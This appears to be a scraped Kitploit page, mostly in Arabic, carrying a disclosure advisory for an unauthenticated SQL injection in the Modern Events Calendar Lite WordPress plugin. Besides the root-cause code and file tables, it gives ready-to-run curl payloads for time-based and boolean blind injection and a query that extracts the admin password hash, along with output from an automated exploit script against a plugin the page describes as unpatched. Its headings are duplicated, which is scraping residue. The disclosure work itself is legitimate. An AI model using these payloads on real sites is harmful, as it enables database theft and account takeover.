CVE-2026-11349 — Modern Events Calendar Lite <= 7.33.0 — حقن SQL بدون مصادقة | Kitploit

public function sanitize_deep_array($inputs, $type = 'text', $excludes = array(), $path = '')
{
    if(!is_array($inputs)) return $inputs;

    $sanitized = array();
    foreach($inputs as $key => $val)
    {
        $p = $path.$key.'.';
        if((is_array($excludes) and in_array(trim($p, '. '), $excludes))
            or (is_array($excludes) and !count($excludes)))   // line 9615
        {
            $sanitized[$key] = $val;   // <-- RAW passthrough, no sanitization
            continue;
        }
        // ... (sanitize_text_field / (int) / esc_url / ... only reached when $excludes is non-empty)
    }
    return $sanitized;
}

$this->sf = (isset($_REQUEST['sf']) and is_array($_REQUEST['sf']))
    ? $this->main->sanitize_deep_array($_REQUEST['sf']) : array();
$apply_sf_date = isset($_REQUEST['apply_sf_date']) ? sanitize_text_field($_REQUEST['apply_sf_date']) : 1;
$atts = $this->sf_apply(((isset($_REQUEST['atts']) and is_array($_REQUEST['atts']))
    ? $this->main->sanitize_deep_array($_REQUEST['atts']) : array()), $this->sf, $apply_sf_date);  // line 501

// line 603 (exclude → NOT IN)
if(isset($this->atts['exclude']) and is_array($this->atts['exclude']) and count($this->atts['exclude']))
    $where_AND .= " AND `post_id` NOT IN (".implode(',', $this->atts['exclude']).")";

// line 606 (include → IN)
if(isset($this->atts['include']) and is_array($this->atts['include']) and count($this->atts['include']))
    $where_AND .= " AND `post_id` IN (".implode(',', $this->atts['include']).")";

public function select($query, $result = 'loadObjectList')
{
    $query = $this->_prefix($query);          // only swaps `#__` for the table prefix
    $database = $this->get_DBO();
    if($result == 'loadObjectList') return $database->get_results($query, OBJECT_K);  // line 87 — no prepare()
    // ...
}

$_REQUEST['atts']                                       (attacker-controlled, unauthenticated)
  → app/skins/list.php:501  sanitize_deep_array($atts)  (NO-OP: default empty $excludes)
  → MEC_skin::initialize($atts)                         ($this->atts = raw atts)
  → app/libraries/skins.php:606  "... post_id IN (".implode(',', $this->atts['include']).")"
  → app/libraries/db.php:87  $wpdb->get_results($query) (no prepare)

$this->factory->action('wp_ajax_mec_list_load_more',        array($this, 'load_more'));
$this->factory->action('wp_ajax_nopriv_mec_list_load_more', array($this, 'load_more'));  // <-- unauthenticated

إجراء AJAX (`nopriv`)	معالج الجلد
`mec_list_load_more`	`app/skins/list.php:497`
`mec_grid_load_more`	`app/skins/grid.php:497`
`mec_masonry_load_more`	`app/skins/masonry.php:229`
`mec_agenda_load_more`	`app/skins/agenda.php:242`
`mec_timeline_load_more`	`app/skins/timeline.php:242`
`mec_tile_load_more`	`app/skins/tile.php:446`
`mec_custom_load_more`	`app/skins/custom.php:233`

TARGET='https://victim.example'          # plain permalinks: use admin-ajax.php directly

# 1) Baseline (no injection)
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0'
#   → ~0.27s

# 2) Time-based proof — balanced top-level OR SLEEP
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'
#   → ~3.04s   ← SLEEP(3) executed

# 3) Boolean oracle (true vs false)
#   atts[include][]=0)) OR IF(1=1,SLEEP(3),0)#   → ~3.06s   (TRUE)
#   atts[include][]=0)) OR IF(1=2,SLEEP(3),0)#   → ~0.04s   (FALSE)

# 4) Real data extraction (blind), e.g. admin password-hash first byte == '$' (0x24):
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode "atts[include][]=0)) OR IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users ORDER BY ID LIMIT 1)=36,SLEEP(3),0)#"
#   → ~3.04s   ← TRUE: admin hash begins with '$' (phpass)

SELECT * FROM `wp_mec_dates`
WHERE (( `tstart`>='1780531200' AND `tend`<='2256249599' )
   OR ( `tstart`<='2256249599' AND `tend`>='2256249599' )
   OR ( `tstart`<='1780531200' AND `tend`>='1780531200' ))
  AND ( 1 AND `public`=1 AND `status`='publish' AND `post_id` IN (0)MEC_SQLI_CANARY))
ORDER BY `tstart` ASC, `id` ASC

$ python3 mec-unauth-sqli-poc.py --url https://victim.example --extract hash
[+] baseline=0.27s  sleep-case=3.04s  threshold=1.66s
[+] CONFIRMED unauthenticated time-based SQL injection (no auth, no nonce).
[*] Extracting (SELECT CONCAT(user_login,0x3a,user_pass) FROM wp_users ORDER BY ID LIMIT 1)
[+] admin:$P$B...

الملف	السطر (7.33.0 / 6.5.6)	المشكلة
`app/libraries/main.php`	11726-11734 / 9607-9619	`sanitize_deep_array()` بلا أي تأثير عندما يكون `$excludes` هو الصفيف الفارغ الافتراضي (حارس `!count($excludes)`)
`app/skins/list.php`	535 / 501	قراءة `atts` من `$_REQUEST` وتمريرها إلى `sanitize_deep_array()` بدون `$excludes` (داخل `load_more()`، 532 / 497)
`app/skins/list.php`	53 / 52	`wp_ajax_nopriv_mec_list_load_more` → نقطة دخول غير مصادق عليها
`app/libraries/skins.php`	806 / 603-606	دمج صفيف `include` / `exclude` خامًا عبر `implode()` داخل `post_id IN (...)` / `NOT IN (...)` (exclude عند 803 / 603)
`app/libraries/db.php`	79-93 (87)	تشغيل `MEC_db::select()` لـ `$wpdb->get_results()` بدون `prepare()`

المرجع	المصادقة	إجراء AJAX	المعامل	أُصلح في
CVE-2021-24946	غير مصادق عليه	`mec_load_single_page`	`time`	6.1.5
CVE-2021-4458	غير مصادق عليه (فقط إذا كان تهريب المدخلات `addslashes` معطَّلًا)	`mec_load_single_page`	`id`	6.4.0
CVE-2021-24149	مصادق عليه (كاتب+/مشترك)	`mec_fes_form`	`mec[post_id]`	5.16.6
هذا التقرير	غير مصادق عليه (بدون أي شرط مسبق)	`mec_list_load_more` (+ `mec_{grid,masonry,agenda,timeline,tile,custom}_load_more`)	`atts[include][]` / `atts[exclude][]`	غير مُصلَح (≤ 7.33.0)

التاريخ	الحدث
2026-06-03	اكتُشف أثناء مراجعة آلية للإضافة؛ تم التحقق من النهاية إلى النهاية (بدون مصادقة) على MEC Lite 6.5.6 (بناء wordpress.org المجمّد)
2026-06-04	أُعيد التحقق من النهاية إلى النهاية على 7.33.0 (Lite الحالي الموزَّع من البائع عبر mec.webnus.net)؛ تأكيد أن الكود/الحقن مطابقان — الاكتشاف حالي، وليس أثرًا لنسخة مشطوبة
2026-06-04	إشعار البائع (Webnus) + طلب CVE من WPScan؛ تأكيد أن MEC Pro تتشارك في نفس المسار
2026-06-05	تم التحقق من الثغرة وتخصيص CVE لها

الإضافة	Modern Events Calendar Lite
Slug	modern-events-calendar-lite
المؤلف	Webnus
الإصدارات المتأثرة	<= 7.33.0 (إصدار Lite الحالي الموزَّع من البائع). الخلل موجود في كامل نطاق الإصدارات ما بعد w.org؛ تم تأكيده مخبريًا على 6.5.6 و7.33.0، وتأكيده بالتحليل الساكن (static) في 5.21.2. 6.5.6 = آخر بناء على wordpress.org (مجمّد منذ إغلاق 2022-05-11)؛ 7.33.0 = البناء الحالي الموزَّع من mec.webnus.net
التنصيبات النشطة	العدد مخفي في wordpress.org منذ الإغلاق؛ تاريخيًا أكثر من 100,000+. ما زال البائع يوزّعه ويحدّثه بنشاط (Lite عبر mec.webnus.net؛ نفس قاعدة الكود 7.x تقوم عليها نسخة MEC Pro المباعة حاليًا)
CWE	CWE-89 (حقن SQL)
الثغرة	حقن SQL أعمى غير مصادق عليه (قائم على الوقت / بولياني / قائم على الأخطاء)
الصلاحيات المطلوبة	لا شيء (`wp_ajax_nopriv_*` — قبل المصادقة)
تفاعل المستخدم	لا شيء
CVSS v3.1	7.5 (عالية) — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`
الحالة	تم التحقق مخبريًا من النهاية إلى النهاية على 7.33.0 (الحالي) و6.5.6 (WordPress 6.6.5, MariaDB 10.x)
CVE / GHSA	CVE-2026-11349

CVE-2026-11349

الأكثر شعبية

الوصف

السبب الجذري

1. "منقِّية" لا تنقّي شيئًا في المسار الافتراضي

2. المستدعي لا يمرّر `$excludes`

3. الدمج الخام في جملة `IN (...)`

4. التنفيذ بدون عبارة مُعدّة (prepared statement)

قابلية الوصول

إثبات المفهوم (PoC) (مؤكد مخبريًا، MEC Lite 6.5.6، WordPress 6.6.5، MariaDB 10.x)

PoC آلي

التأثير

الملفات المتأثرة

التمييز عن ثغرات حقن SQL السابقة في Modern Events Calendar

ملاحظة الإفصاح / النطاق

الجدول الزمني

CVE-2026-11349

الأكثر شعبية

Modern Events Calendar Lite <= 7.33.0 — حقن SQL غير مصادق عليه عبر mec_list_load_more (atts[include] / atts[exclude])

الملخص

الوصف

السبب الجذري

1. "منقِّية" لا تنقّي شيئًا في المسار الافتراضي

2. المستدعي لا يمرّر $excludes

3. الدمج الخام في جملة IN (...)

4. التنفيذ بدون عبارة مُعدّة (prepared statement)

قابلية الوصول

إثبات المفهوم (PoC) (مؤكد مخبريًا، MEC Lite 6.5.6، WordPress 6.6.5، MariaDB 10.x)

PoC آلي

التأثير

الملفات المتأثرة

التمييز عن ثغرات حقن SQL السابقة في Modern Events Calendar

ملاحظة الإفصاح / النطاق

الجدول الزمني

Modern Events Calendar Lite <= 7.33.0 — حقن SQL غير مصادق عليه عبر `mec_list_load_more` (`atts[include]` / `atts[exclude]`)

2. المستدعي لا يمرّر `$excludes`

3. الدمج الخام في جملة `IN (...)`